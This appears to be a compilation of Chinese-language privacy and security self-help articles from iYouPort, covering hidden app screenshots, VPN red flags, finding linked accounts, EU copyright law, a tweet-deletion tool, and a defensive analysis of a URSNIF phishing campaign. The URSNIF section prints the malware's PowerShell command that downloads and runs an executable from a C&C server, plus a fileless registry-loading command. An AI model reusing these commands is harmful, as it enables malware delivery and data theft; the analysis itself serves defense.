总而言之，**17,000** 个应用程序中有 **9,000** 个可能会截取屏幕截图！

“在一个案例中，该应用程序甚至拍摄了屏幕活动的视频，并将该信息发送给第三方，”该应用程序是 GoPuff，一种快餐交付服务，它将视频发送给移动设备数据分析公司 **Appsee**。所有这些都是在没有 app 用户意识到的情况下完成的。

不论动机如何，请注意：这并不意味着恶意公司无法利用此隐私窗口窃取个人信息以获取利润。

问题在于，你没有简单的方法可以关闭这种偷拍屏幕的行为—— 它不像激活摄像头和麦克风，你可以通过设置关闭，或者贴上黑胶布。

据称目前 GoPuff 已经改变了服务条款协议，提醒用户该公司可能会截取其使用模式的截图。谷歌发表声明强调其政策要求开发者向用户披露他们的信息将如何被收集。

但 Wilson 表示，这样做只是在可以保护公司免受诉讼，而大多数用户很少阅读这些长篇幅的法律协议。

两位研究人员都表示，在电话公司重新设计其操作系统之前这种状况不会消失。〇

原文

某个VPN可能不可靠的5个标志：如果您不理解技术的话 - iyouport

自我保护措施-技术技巧以防身

VPN是一个每年价值数十亿美元的大生意。有了这么多钱，许多VPN供应商不值得信任也就不足为奇了

这里的VPN指的是加密您的流量，以保护您不受ISP和政府监视的工具，而不仅仅是翻墙工具；能翻墙的VPN不一定安全，安全的VPN不一定能翻墙。具体《什么时候你需要VPN？》。

不要错过《如何检查您的*VPN*连接是否实际加密》

如今，由于大规模监视的恐慌，VPN是一个每年价值数十亿美元的大生意。有了这么多钱，许多VPN供应商不值得信任也就不足为奇了。那么，您如何选择一个好的、值得信赖的VPN？尤其是在您可能不理解技术的情况下。以下是您在打开钱包前需要注意的一些迹象。

1、评论和建议

「图」

要想知道一个VPN是否值得您花时间和金钱，一个公认的方法是通过互联网评论或您信任的人的推荐。然而，并不是所有的推荐技术的网站都同样值得信赖，因为其中一些可能是被开发商付了钱的“软广”。也不是您的所有朋友都能在此靠谱，您需要考虑的是您的朋友的技术能力，而不是他们有多爱您。

因此，建议您在查阅评论时谨慎行事，并注意几件事：首先，许多评论会转述营销文案，所以当您看到一个VPN供应商的网站和评论之间有太多的相似之处时，您可以认为这里面也许有一些猫腻。此外，如果评论中的说法听起来好得不像真的，或者语气似乎太“推销”，那么也最好不要信。

2、介绍

「图」

在购买VPN时，您应该注意的另一件事是服务的展示方式。虽然许多供应商—— 从NordVPN和ExpressVPN这样的市场领导者开始—— 都习惯于对VPN的私密性进行略微夸张的宣称，但有些供应商则超越了这一点，然后再进一步。

这方面的一个例子是 X-VPN，它在其网站上声称有5000万用户。然而，快速浏览一下谷歌应用商店的下载页面就会发现，它被安装了超过1000万次。非常值得怀疑X-VPN真的有这么多用户吗？VPN是相当受欢迎的应用程序，但它们的需求量并不大。

这只是一种夸张的营销方式，但有些服务比这种还要进一步，使用赤裸裸的恐吓手段来让您注册。这方面的一个例子是RusVPN，它打出了几个红旗。首先是一个名为 Brian 的美国人写的非常奇怪的推荐。这不是真正的人说话的方式：

当然，推荐语是现代互联网的组成部分，但进一步滚动，您会看到：

在这个的案例中，上图中描述的情况是假的，因为实际上我使用的是另一个代理连接到日本服务器，它没有意识到。

至于右边那个有威胁性的黑色块中的字，其中大多数信息（如银行账户和信用卡信息）都是通过使用HTTPS的连接来传输的，密码在发送前是经过散列的（不可读）。开启VPN并不会使这些信息的发送更加安全。

使用VPN有很多理由，但 RusVPN 声称如果你不使用VPN，你的密码和信用卡号码就会被抢走，这是公然的虚假广告。可悲的是，有很多其他供应商也在做同样的事。

3、语言错误

「图」

一个服务可能不靠谱的另一个小标志是语言使用不当。虽然不是每个人都会说英语，但在网站上有很多可见的拼写或语法问题是一个明显的迹象，表明有关的服务不是太热衷于细节。一个专业的公司将为其网站配备专业的编辑人员。由于在运行VPN时，细节是相当重要的，

这是一个红旗，尽管是一个小红旗。

4、警惕免费

「图」

另一个巨大的广告伎俩是提供免费的VPN服务。一般来说，人们已经知道不应该使用大多数免费的VPN。它们中有太多已经被发现向第三方出售数据，而一些不知名的VPN供应商也在做同样的事，这种风险实在太大了。隐私安全很重要，不能拿它做赌注。

但有一些像样的VPN服务在提供常规服务的同时还提供免费计划，通常是让您在决定付费之前对服务有一定的了解。其中最好的是 Windscribe 和 TunnelBear，它们都提供有限的免费服务，并且没有不良行为记录（请注意，这不是翻墙VPN）。

5、检查记录

「图」

说到这一点，在签署一项服务之前，您可能想做的一件事是对其名称进行网络搜索，也许甚至可以添加额外的关键词，如“声誉”、“漏洞”或“出售数据”。虽然过去的表现并不总是判断一项服务现在如何的准确方式，但它可以给您一个指示，让您知道该公司是什么样的。

例如，将其防病毒解决方案与VPN捆绑的 Avast 公司最近被发现通过其子公司 Jumpshot 出售用户数据。以色列的免费 VPN Hola 可能会劫持你的电脑加入僵尸网络，而且往往不会有特别好的启动效果。

当然，有些公司从其不光彩的过去中恢复过来了。几年前，IPVanish 犯了一些错误，PureVPN 也是如此，但这两家供应商似乎都从错误中吸取了教训，重新制定了他们的隐私政策，修复了任何需要修复的问题。虽然他们的历史可能使他们得不到令人振奋的推荐。

6、不良政策

「图」

在做出购买决定之前，最后一件事是您所关注的VPN的隐私政策。虽然您不能总是依赖销售商所说的内容（您可能不应该信赖任何应用程序的隐私政策宣称）—— 但这是检查一项服务是否注意细节的好方

法。

首先，您要确保您面对的是一个没有日志记录的VPN，一个能消除或至少不存储您的使用记录的VPN。除此之外，检查网站—— 您通常用来下载客户端和提交信息的地方—— 不存储 cookies，以及它不会以任何其他方式跟踪您的数据，也很重要。具体见《90%的VPN网站在跟踪记录你的一举一动》。

做出正确的决定

「图」

挑选VPN并不像挑选家具。错误的决定会让您付出代价。不过，考虑到以上五点，您应该能够做出更明智的决定。〇

原文

查找链接到您的电子邮件地址或电话号码的所有帐户的6种方法 - iyouport

自我保护措施-技术技巧以防身

【2020年7月16日存档】简约主义是一种生存智慧。

还记得我们的“变得难以被追踪”系列中强调的原则吗？☞简约主义是一种生存智慧 —— 您注册的东西、下载的东西越多，对您的攻击面就越大。所以，把不再用的东西全部清理掉，是一个最基本的安全措施。

从互联网建立到现在，我们每个人都注册过很多东西，几乎很少有人能准确说出自己曾经都注册过什么。

但是，这其中有至少一半东西如今您已经不再登陆了，今后也可能不会再使用；而您曾经交出的用于注册的电子邮件地址或电话号码，都可能会被滥用。

现在该问问自己这个问题了：“我如何找到所有链接到我的真实电子邮件地址的帐户？”

最好重新访问您的所有帐户以更新您的凭据（把真的改为假的）或干脆停用它们。

本文将介绍一些方法，帮助您找到与您的电子邮件地址或电话号码关联的所有帐户。

1、查找链接到电子邮件的帐户

「图」

如果您经常通过电子邮件平台的快速授权按钮登录应用程序和网站，那么您就不必挖掘太多，至少可以快速查看您最近创建的帐户。

对于“使用Google注册”等选项生成的个人资料，您只需转到电子邮

件的安全设置即可。在这里，您可以浏览已连接应用程序的列表，以编辑或撤消其访问权限。

要在 Google 上访问此部分，请转到 “我的帐户” 仪表板，然后单击左侧的 “安全性” 标签。滚动直到遇到 “具有帐户访问权限的第三方应用程序”，然后单击 “管理第三方访问权限”。然后，您可以点击各个应用以将其与您的电子邮件帐户断开连接。

一旦摆脱了不需要的第三方应用程序，就应该考虑增强在线安全性了。保持简约主义大原则、并采取分身的技巧，尽可能减少风险。

- 详细技巧参见 列表-1 “自我保护措施”

2、使用 Facebook 和 Twitter 查找社交登录信息

「图」

评估您使用社交媒体帐户登录的所有应用和网站。当您将第三方服务附加到您的社交账户个人资料时，风险甚至会更高。

根据权限，您有可能面临着各种风险：联系人列表、个人详细信息、手机号码、和其他私人详细信息等。

一般情况下您可以决定要共享或切断的内容。例如，您可以保留第三方帐户，但禁止其访问 Facebook 上您点赞的页面。

- 在 Facebook，转到 Settings 」 Apps and Websites
- 在 Twitter，Settings 」 Account 」 Apps and Sessions

3、在收件箱中搜索帐户验证消息

「图」

上面的两种方法能做到的并不全面，于是您需要第三种方法。

要进行彻底检查，您将需要返回到电子邮件并在收件箱中查找注册账户时使用的确认邮件。搜索常见主题行的信息。

另外，您可以使用Gmail的搜索运算符和关键字来过滤特定主题行。

例如，您可以输入 “subject: verify” 以提取主题行包含 “验证” 的所有电子邮件。

您也可以使用 EmailExport 之类的工具来自动执行此任务。该网站可以使用功能更强大的过滤器梳理您的电子邮件，然后将结果整理到电子表格中。这项服务不是免费的，但可以为您节省很多时间。

但是请注意。由于 EmailExport 将有权阅读您的收件箱，这本身是一个风险。对于前一百封邮件，EmailExport 是免费的，超额的数量您将必须为每250封电子邮件至少支付5美元。

4、即时检查链接到您电子邮件的所有帐户

「图」

如果您正在寻找免费查找链接到电子邮件地址的所有帐户的方法，Deseat 是可选项。

该网络应用会为您的收件箱建立索引，并过滤掉您已使用该电子邮件地址注册的所有第三方应用。然后，它会向您显示一个列表，以便您可以轻松地决定要采取的措施。

Deseat 还添加了“请求删除”按钮。单击此按钮将使您可以通过电子邮件将删除请求发送给相关的公司。

与 EmailExport 一样，Deseat 对敏感电子邮件也可能构成安全威胁。开发人员明确表示他们不会收集您的电子邮件，所有操作均在本地执行。

他们提供了删除您的 Deseat 帐户的选项。目前，Deseat 是免费的，并支持大多数电子邮件平台。

5、利用用户名全网捕捞

「图」

这个方法我们介绍过。

- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 《你的全能钥匙扣：作为一名公民调查者的基本脑图》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》

如果您平时没有注意分身，也就是说在不同平台上倾向于使用相同或近似的用户名，则可以使用 Namechk 进行查找。

该工具可以帮助您在数十个平台上扫描用户名。只需在顶部输入您最常用的ID，Namechk 就会告诉您是否以及在哪里被使用过。

Namechk 插入了一系列服务，例如 Instagram，PayPal，Imgur，Foursquare、Venmo 等等。 Namechk 是免费的。

6、检查浏览器的已保存帐户

「图」

每当您在互联网上填写表单字段时，浏览器就会缓存您的输入。这适用于电子邮件地址，也包括密码。

因此，您可以访问浏览器的设置，然后在列表中查找可能忘记的任何帐户。请注意，成功取决于您使用该浏览器已有多长时间。您可以对过去安装的每个浏览器重复此过程。

- 在Chrome 上，转到：Settings 」 Auto-fill 」 Passwords。您可以浏览、更新、或者干脆删除它们，因为通常保存这种东西并不安全。
- 在 Firefox 上，转到：Settings 」 Privacy & Security 」 Login and Passwords 」 Saved Logins.

重申！我们在 “开源情报” 专栏中介绍的大部分工具都可以用来帮您对自己使用，检查自己的漏洞，抢在攻击者到来之前弥补 —— 对抗性思考方式。

使用密码管理器对您的在线帐户进行排序

您不太可能完整找到您曾经创建的每个在线帐户。但是，有了这些解决方案，您就可以挖掘到其中的大多数。

完成上面的操作后，最好将其迁移到密码管理器，并定期使用它轻松管理在线状态。

- 不要错过《返回基础知识：普通人如何强化智能手机和计算机的安全性》

○□

原文

欧盟邪恶的版权法案其实已经过时 - iYouPort

互联网自由-Resist技术-攻击防御和反抗自我保护措施-技术技巧以防身

欧盟邪恶的版权法案的签署被全世界视为互联网最黑暗的一天。但是事实上它已经过时了，只需要一个条件，是什么？

「图」

「图」

我们生活在一个由各国分散立法监管的中央网络中。因此，如果我在荷兰建立一个 Web 平台，我就需要考虑平台上提供的内容在德国是否合法（这里可以替换为任何国家），我的用户也可以来自任何国家。

现行立法的这一限制和其他限制阻碍了欧洲企业的经济潜力。因此，2014年，欧洲委员会（EC）在数字单一市场（DSM）战略下为欧洲提出了令人钦佩的工作愿景：

“互联网和数字技术正在改变我们的世界*[…]*互联网公司、初创公司的视野有限*[…]*现在是时候让欧盟的单一市场适应数字时代—摧毁监管墙*[…]*这可以为我们的经济每年贡献*4150*亿欧元，并创造数十万个新工作岗位。“

然而，根据最近关于版权改革最臭名昭著的第13条的提议，欧盟委员会正在将版权放在首位，并将市场限制在一定程度上，这可能会破坏上述愿景中的大部分。权利持有者不再需要指控某人侵权并证明这一点，现在平台提供商有责任表明他们没有侵权并为此目的尽一切努力。

从本质上讲，EC 建议让平台提供商监管用户在其平台上发布的内容。换句话说，像Facebook，Twitter 和其他平台的提供商将不得不开始审查其用户发布的内容，以确保他们没有所谓的“侵犯版权”。

最重要的是，他们有义务为他们允许的那些帖子寻求许可证（这对于如此众多的自制创意作品来说几乎是不可能的）。

许多人撰写了大量详细的文章，讨论了拟议的平台过滤器的问题以及它与其他欧洲立法的矛盾或破坏性。其中包括 Max Planck Society 报告，EDRi 第13条解构，以及由57个相当著名的签署者签署的信函。

他们展示了相当多的人和组织明确反对这一提议，因为如果不从根本上改变我们所知的网络，它将无法运作。

「图」

「图」

我喜欢张贴 meme，比如上面这样，但是平台会被该法案激励去除这张图片，因为它可能会侵犯指环王的制作公司的版权。第13条可能使我们对网络的热爱变得非常困难。

于是，分散化网络是未来的趋势这一结论已经变得越来越合理了：万维网联盟已经发布了分散式社交网络的规范；像 Dat，IPFS 和 Secure Scuttlebutt 这样的协议正在成熟，Firefox 开放了它们使用这些协议的扩展， **Brave** 浏览器正在实现其中的一些协议，并且有一个完整的浏览器致力于在这些协议之上构建分散的 **Web** ：就是 **Beaker Browser**。这些只是分散网络的众多计划中的一小部分。

根据分散化网络的发展方式，欧盟的立法可能已经过时了。今天，分散式网络还只适用于早期采用者，但它可以很快成为主流，因为它有助于解决人们现在关注的重点问题—— 它可以减少垃圾邮件，提高安全性，简化身份验证，提高可靠性，并使 Web 应用程序也可以更容易脱机工作。

请注意，这不是一个思想实验，分散化 **Web** 现在已经存在。以 **Fritter** 和 **Rotonde** 为例，这是两个分散化的社交微博应用程序。当我在那里发布内容时，我不会将其发布在平台上—— 我将其发布在我的计算机上并直接提供给其他人。就像 Kit Kat 下面GIF中所做的那样。

「图」

「图」

这里并没有中央平台；它只是一条消息，您可以将这些消息传播给其

他人。作一个类比，就像我写了一张明信片并允许任何人进入我的房子并复制它，那些复制它的人允许其他人进入他们的房子进行复制（这实际上从未发生过，但你明白了）。

版权法案的第**13**条不适用于分散化的 **Web** 基础结构，因为没有平台可以开始监控内容。

这意味着第13条的范围有限，当然并不是说未来也依旧如此，对我而言，这表明我们需要更好、更可持续的版权改革建议。〇

Internet Filtering is Obsolete in a Decentralized Web. There is no central platform; it's just a message you make available to others to copy onto their computer directly, which you allow them to spread to others.

原文

清洁工具：自动删除您的旧推文，但您要保留的推文除外 - iYouPort

关于亚马逊、苹果、推特自我保护措施-技术技巧以防身

避免被追查的最佳方式是，不要让“小辫子”存在

「图」

「图」

当年中国当局起诉浦志强律师时据称打印了他多年来发表的大量微博。这一细节曾经震惊了很多人。

如今人们已经熟悉社交媒体情报的概念，应该很清楚任何留在网上的东西都有可能转变成瞄准你的黑枪。

早晚（不是早晚，有可能是很快）被起诉的人可能会被打印出一大堆推文。

这就是为什么应该提早预防。

如果你希望清理一下那些旧的东西、没有那么高的保留价值的东西，这里有一个工具可以做到：semiphemeral。

并不是仅仅因为没价值才清理，⚠因为这些旧的东西有可能暴露你很多私密信息。

毕竟我们所有人都是在依赖和信任监视资本主义很多年后才醒过来的，邪恶的社交媒体情报也是在大众真正依赖科技巨头之后才诞生并流行的。

在人们醒悟过来之前肯定留下了很多可被追踪的重要信息。

并且，trolls 也经常使用类似OSINT的做法挖掘他们的攻击目标，针对很久以前完全不相关的信息对你发起攻势。

所以您有必要清理一下旧的内容 —— 如果您已经在近期学到并开始执行社交媒体隐私操作基本规则了。

基本规则在这里：《你不应该在社交媒体上说的话》。

以下方法可以作为我们曾经介绍过的《"大清洗"》基本步骤的一部分。

有很多应用程序可以让你的推文“定时消失”，你可以在一切正常的情况下发推文，但是，超过一个月或更早的东西会被自动删除。

你还可以在 GitHub 上找到很多可以实现这种效果的简单脚本。

但是，这些工具不一定适合所有人。

因为它们会导致超过时间的内容全部删除；而您的旧推文中肯定有一些值得保留的东西，尤其是您引以为傲的东西。比如，如果您是一位政治经济学家，在2006年预测到未来会有一位亿万富翁当选总统，当特朗普在2016年走入白宫时，你的预测就很值得拿出来了。

类似情况还有很多；您也许想要保存一些东西。

所以您应该有一个标准，设定一个特定阈值，超过者删除。

如果您记忆中比较精彩的推文是以 thread 形式呈现的，那么您的筛查标准应该加上它。当然，您肯定知道，标签也是个可靠的方法（如果您长期喜欢使用标签的话）。

这就是 Semiphemeral。源代码：https://github.com/micahflee/semiphemeral

它个是命令行工具，而不是服务。

要使用它，您需要使用您的 Twitter 帐户生成 Twitter API 凭证—这意味着您将直接与 **Twitter API** 连接，而不是授予某些第三方访问您的 **Twitter** 帐户的权限。

它可以很好地在你的笔记本电脑上运行，但如果你想让它自动删除旧的推文，可能希望安排它在某个服务器上的日常 cron 作业上运行。

你可以用pip安装：

```
$ pip3 install semiphemeral
```

这里是如何使用：

```
$ semiphemeral Usage: semiphemeral [OPTIONS]
COMMAND [ARGS]...

Automatically delete your old tweets, except for
the ones you want to keep

Options: --help Show this message and exit.

Commands: configure Start the web server to
configure semiphemeral delete Delete tweets that
aren't automatically or manually excluded fetch
Download all tweets stats Show stats about tweets
in the database
```

运行 semiphemeral configure 时，将启动本地Web应用程序（由 flask 提供支持），您可以在Web浏览器中加载该应用程序。

在这里，您可以使用 Twitter API 凭据以及您想要使用的设置来配置它 —— 当推文被发布后多长时间自动删除、类似阈值应该是什么等等。

以下是设置页面的外观：

「图」

「图」

此Web应用程序还有一个界面，可让您查看所有删除的推文，过滤推文文本快速查找特定词组，并手动排除选中的任何推文避免被删除。

配置您的 API 凭证后，您必须通过运行 semiphemeral fetch 从 Twitter 下载您的整个时间轴。根据您的推文数量多少，所需要的时间会不同。

Semiphemeral 会在达到 Twitter API 的速率限制时自动暂停，有时一次最多15分钟。

它可以在 sqlite 数据库中保存您的推文的整个历史记录，包括评论。

数据库代码由 SQLAlchemy 提供支持。

注：从数据结构的角度来看，threads 实际上是树；如果是单独的推文就是树的根。如果我回复某人但他们的帐户已经被冻结或者他们删除了我回复的推文，我的推文就是孤立的，并且没有简单的方法可以确定其帖子的根实际是什么。

最后，在您确定已经配置了所需的设置并筛选了所有旧推文、手动移除了特定推文之后，您可能需要下载 Twitter 存档以便安全保存。

然后，运行 semiphemeral delete 删除所有旧推文，但要保留的推文除外。

第一次运行也可能需要比较长时间。您可以把 semiphemeral delete 放在日常 cron 作业中，以继续删除旧的推文。

设置存储在~/ .semiphemeral / settings.json 中。所有推文（包括例外和已删除的推文）都存储在 sqlite 数据库~/ .semiphemeral / tweets.db 中。

好啦，现在干净了。

⚠最后提一句：如果您是活动家，使用 Twitter 是为了动员和宣传您的运动理念，非常建议您设置真正独立的且匿名的账户，与可能追查到您的身份的主账户完全隔离《在这里看到操作方法》；在这里看到《运行这一匿名账户的方法》。而不是简单的删除就推文就可以了。

日常请注意保持您的隐私操作习惯；随时记得*哪些话不能在互联网上说*。玩得开心。〇

原文

渔艺正在升级：URSNIF 恶意软件新变种通过回复邮件即可实现传播 - iYouPort

自我保护措施-技术技巧以防身

攻击者正在采取更为复杂的网络钓鱼。由于网络钓鱼攻击依赖于社交工程技术，因此它们往往非常有效。这些技术会创建一些可信的场景或对话，从而诱使用户泄漏信息，或下载恶意软件。在本文的案例中，最棘手的问题在于发件人是真实的用户……

「图」

「图」

大多数网络钓鱼活动，其本质非常简单，并且易于发现。攻击者往往会发送一些看似合法的电子邮件，并在其文本中嵌入恶意链接，或在邮件中添加恶意附件。然而，趋势科技在今年9月监测到的恶意邮件活动却表明，攻击者正在采取更为复杂的网络钓鱼形式。

"该恶意活动会盗取电子邮件账户"，并对邮箱中已有的邮件内容进行回复，在回复的内容中附带恶意软件。对已有邮件的回复，实际上是连续通信中的一部分，因此这种特殊的钓鱼方式难以被用户发现，也难以检测。通常，受害者都没有意识到他们正在遭受钓鱼邮件的威胁。

这些攻击与今年早些时候 Talos 发现的 URSNIF/GOZI 恶意邮件活动非常相似，该恶意活动使用暗云僵尸网络中部分被劫持的计算机向已有邮件发送回信，很可能是 URSNIF/GOZI 恶意邮件活动的升级版本或演变版本。

根据迄今为止收集到的数据，趋势科技发现该恶意活动主要影响北美和欧洲地区，同时在亚洲和拉丁美洲地区也发现了类似的攻击。

本次恶意活动的主要目标是教育、金融和能源行业。然而，此次恶意

活动还影响到了其他行业，包括房地产、交通运输、制造业和政府。

捕获样本

趋势科技发现了该恶意活动的一个示例，并对电子邮件的内容进行了截图，如下所示：

「图」

「图」

Figure 1. Example of a malicious email that is used to reply to a conversation

由于发件人是一位熟悉的人，并且邮件也是往来对话中的一部分，因此作为收件人，很容易会相信这只是对此前邮件内容的另一封回复邮件。此外，该回复的标题和语法似乎都是正确的，甚至在电子邮件的末尾还附带了签名。

当然，如果仔细检查，会发现这封电子邮件中存在一些可疑的地方。最明显之处在于，使用的语言从法语变成了英语。此外，恶意电子邮件中的签名与合法电子邮件的签名是不同的。最后还有一点，就是该邮件的内容是通用的，所以可能会偏离原来的交流内容。尽管不能通过这些因素，直接判断出这封邮件是恶意的，但至少能够提起警惕。然而，如果不经仔细阅读，这些小细节可能难以发现，特别是那些每天有大量邮件往来的人。

「图」

「图」

Figure 2. Comparison between the malicious email and a legitimate one. Note the difference in language and the changed signature

擦亮眼睛！分析电子邮件头部信息

在对电子邮件的头部信息进行检查后，发现了该攻击的一些有趣之处。

「图」

「图」

Figure 3. The anonymized email header of the malicious message (click the image to zoom in)

⚠ 在这里，有**3**个地方需要注意：

1、通常，恶意邮件都会伪造发件人，会使用 “Return-Path” 或 “Reply-To” 的 SMTP 头部，以便收件人能够将邮件直接回复给恶意攻击者。而在观察到的示例中，没有这两个头部信息，并且所有回复都会发送至发件人（也就是被攻陷的邮箱账户）。这就说明攻击者可能已经通过了发件人邮箱的身份验证。

2、“In-Reply-To”头部（或其他类似的 SMTP 头部字段）表示这封邮件是对已有电子邮件通信的回复。

3、这封电子邮件的第一跳（The First Hop）来自于 “rrcs-50–74–218–2[.]nyc[.]biz[.]rr[.]com”，这个地址对于家庭用户来说并不常见。对于组织用户来说，除非邮件是来自远程的服务，否则邮件都应该是从组织内部的服务器发送（例如：一个“sender.co.ca”域内的主机）。

考虑到这些因素，可以看出这封电子邮件是从美国发出的。而根据示例中发件人邮箱的域名 .ca，这封邮件应该是发自加拿大。

经过进一步的调查，发现该域名在2018年9月期间使用了多个电子邮件地址，发送了大量不同的电子邮件。

攻击者经常会将附件的文件名与发件人的组织名称相对应，这样就有可能使得邮件看起来更加真实。附件文件名的格式通常是[发件人所在组织]＋[与此前通信相关的一个动词，例如“查询”或“请求”].doc，或者就是简单的 [发件人所在组织].doc。这样的附件，使这封邮件不容易被人怀疑。在部分恶意活动中，我们看到附件使用了通用的文件名，例如“查询”、“声明”和“请求”。

根据邮件的标题，可以假定，攻击者通过某种方式获得了真实的邮箱账户，并且将该邮箱账户用于类似 BEC 的骗局之中。考虑到其运作方式和使用的技术，怀疑这一新的恶意邮件活动是 URSNIF/GOZI 恶意邮件活动的一部分。发送方的IP地址，可能是僵尸网络中被感染的主机之一。

对 **Payload** 的分析

一旦用户双击电子邮件中的恶意.doc附件，就会调用 PowerShell 从

C&C 服务器下载最新版本的 URSNIF（检测为 TSPY_URSNIF.THAOOCAH）恶意软件：

- *powershell $VWc＝new-object Net.WebClient;$wIt＝’http:* t95dfesc2mo5jr. com/RTT/opanskot.php?l＝targa2.tkn’.Split(‘@’);$jzK ＝ ‘369’;$Aiz＝$env:public ＋’\’＋$jzK＋’.exe’;foreach($fqd in $wIt) {try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}} 该文件是恶意软件的主要加载程序。但是，在执行其例程之前，它首先会检查操作系统版本，只允许在 ***Microsoft*** 操作系统上执行，特别是 ***Windows Vista*** 及以上版本。此外，它会避免在某些语言环境中运行，例如 ***CN***（中国）和 ***RU***（俄罗斯）。 主加载器负责管理整个执行过程，并将事件记录在文本文件中： *%User Temp%\{temp filename}.bin* 「图」「图」 *Figure 4. Logs of the malware’s loader (click the image to zoom in)* 它会从 *C&C* 服务器下载其他模块，并将它们保存在注册表文件夹 *HKEY_CURRENT_USER \Software\AppDataLow\Software\Microsoft\3A861D62–51E0–15700F2219A4*中。 下图展示了创建的注册表项，以及包含脚本和二进制文件的条目。 「图」「图」 *Figure 5. The registry key and entries containing scripts and binaries* 请注意，尽管这些键和部分注册表项的名称在不同计算机上不尽相同，但其位置始终位于 *HKCU\Software\AppDataLow\Software\Microsoft*。 在下载组件后，会执行存储在 *comsxRes*（此名称可能会发生变化）中的 *PowerShell* 脚本。下面的命令行指令展示了如何调用注册表中的十六进制值。 **exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft \3A861D62–51E0–7C9D-AB0E-15700F2219A4’).comsxRes* 「图」「图」 *Figure 6. Hex values of comsxRes* 当此脚本加载存储在注册表中的嵌入式二进制文件时，无文件执行就开始了。在下图中，用*–{hex-encoded binary}* — 替换了二进制数据，从而能展现出全部代码。原始脚本的最底部部分也是使用了 *Base64* 编码，对其进行了解码，以保证可读性。 「图」「图」 *Figure 7. Code of the embedded binary that is stored in the registry* 恶意程序会在创建的注册表项中搜索 *Client32/ Client64*，并将该代码注入到 *explorer.exe* 以保证可以持续保留在内存中。注册表中的其他条目在后续例程运行过程中是必不可少的，因为这些条目会被注入的恶意软件代码所引用。例如，*“TorClient”* 条目指定了恶意软件如何通过 *Tor* 网络与其

C&C 服务器通信。 五、分析信息窃取例程 最终的 *Payload* 是一个名为 *Client32* 或 *Client64* 的 *DLL* 文件，具体取决于主机的体系架构。它也如同大多数恶意软件的组件一样，存储在注册表中。最终 ***Payload*** 的主要目标是进行信息窃取，其中包括以下信息： · 系统信息 · 已安装的应用程序列表 · 已安装的驱动程序列表 · 正在运行的进程列表 · 网络设备列表 · 外网*IP*地址 · 电子邮件凭据（*IMAP*、*POP3*、*SMTP*） · *Cookie* · 证书 · 屏幕视频捕获（*AVI* 格式） · 通过网页劫持获得的财务相关信息 ***BSS*** 段加密 在趋势科技所分析的所有 *URSNIF* 二进制文件中，都包含这个加密部分。在这一部分中，包含着将在代码中使用的所有相关字符串，并且仅会在恶意程序运行时解密。因此无法对字符串进行分析，也无法进行反编译，使得整个分析过程更为复杂。 恶意软件的反分析机制 为了防止研究人员通过沙箱获取到服务器和配置等信息，*URSNIF* 会在运行时两次检查光标的位置。如果光标位置不发生变化，那么就说明该恶意软件可能正在沙箱中进行分析，或是正在通过调试器进行分析。反分析的检查将在*BSS*部分被解密之前完成。如果发现存在问题，那么就会导致该恶意程序进入无限循环，并产生乱码字符串。 根据在这次攻击中所看到的情况，似乎攻击者正在不断对他们的网络钓鱼攻击方式进行更新，并探索更能有效迷惑用户的方法。这些网络攻击者不再满足于常规的钓鱼邮件，而是将他们的攻击巧妙的整合到正在进行的对话中，这就使得普通用户难以发现。这样的升级，其实正是攻击者和安全人员之间永无止境的猫捉老鼠游戏中的一部分。 防范方法 由于网络钓鱼攻击依赖于社会工程技术，因此它们往往非常有效。这些技术会创建一些可信的场景或对话，从而诱使用户泄漏信息，或下载恶意软件。在本文的案例中，最棘手的问题在于发件人是真实的用户。由此提醒大家，应该尽可能通过双因素身份认证（***2FA***）来保护自己的网络账户。此外，作为组织，还应该考虑将双因素身份认证集成到系统之中，并且为组织中的成员提供可靠的认证。 ⚠ 此外，要防范网络钓鱼，还应注意以下几点： *组织中的所有用户都应具备足够的安全意识，了解网络钓鱼攻击的概念、网络钓鱼攻击的常见手段和识别可疑电子邮件的方法。 *遇到任何可疑的请求时，都应进一步与相关人员进行核实，特别是在进行金融交易之前，务必要谨慎操作。 *避免打开任何建议修改 *Word* 中安全配置的文档，这样的文档很有可能是恶意文件。 *留意邮件中所有可疑之处，包括是否符合对话的上下文、是否使用了你们常用的语言、是否使用的是常用的邮件签名。 使用可管理的检测与响应服务（***MDR***） 随着网络钓鱼攻击方式的日益复杂，组织内部的*IT*团队和安全团队可能难以

监控网络和各个终端是否存在被攻击的迹象。尽管提升员工的安全意识有助于防范威胁，但如果要让员工识别精心伪造的电子邮件，还是具有一定的难度。 针对没有安全运营中心（*SOC*）的组织而言，就面临这一个双重挑战，因为一般的 *IT* 团队往往缺乏进行威胁研究和分析的经验。针对这些组织，建议采用第三方安全厂商的“可管理的检测与响应服务”（*MDR*），从而帮助抵御高级威胁。*Mdr* 可以为攻击中的各种环境指标提供一个基线，并且使用这些指标作为安全分析的基础。 ***IoC Word***文件的哈希值 检测为*TROJ_FRS.VSN0BI18 / Trojan.W97M.POWLOAD.SMY*：
**bdd3f03fb074c55cf46d91963313966ce26afdb13b1444258f8f9e7e723*
**dd7b4fc4d5cc1c1e25c800d5622423725a1b29000f93b658a54e267bbb*
**4df47982fdd1ac336625600fa8c947d45909248309b117d05fc532a22*
检测为*Trojan.W97M.POWLOAD.FGAIBT*：
**f88ef62f2342f4d1105cfe85395b735efd3f0308b79551944983ce245d4*
**567fe3794a9eec27697ae0634861d284279261880887f60a7374c6cbe*
检测为*Trojan.W97M.POWLOAD.NSFGAIBF*：
**52d3ece98b6b3b686925156c3d62d8ce133fe3326e11b4c981c251452e*
检测为*Trojan.W97M.POWLOAD.SMEMOT*：
**4d0762a6b2879d2fa821716db76bc980fdb3b8507611d2853df58c0d4*
检测为*Trojan.W97M.POWLOAD.SMEMOT2*：
**47e2c66ba16e3ffa9704a13f2c00670319bf292b3d2aa7deede5442da02*
**c2c946f7fd63fc15048a9af4043686f5a56b169e74cb36892fb8d1563b8*
检测为*Trojan.W97M.POWLOAD.SMTHF3*：
**21ce42a1fc6631ed10db3d0e44b4ccb6d96a729fc494bd86a57cf07ff72*
检测为*Trojan.W97M.POWLOAD.SMY*：
**de8f8f39259992886da3b07635cbf121027379e5c1a156a32c6c6e5ace*
**6b387b8534da9cc7cf0af4f2fb8c2a92f9316c0ea6ffb9cfe49b09b4c3df9*
**6bf99f4b17a07e788219333d96a7a19c9eddc1b49d16c2a21da255a6a*
**33d078881456e3b930c480803902fa28142b17c8550f3932e7cf4a1df0*
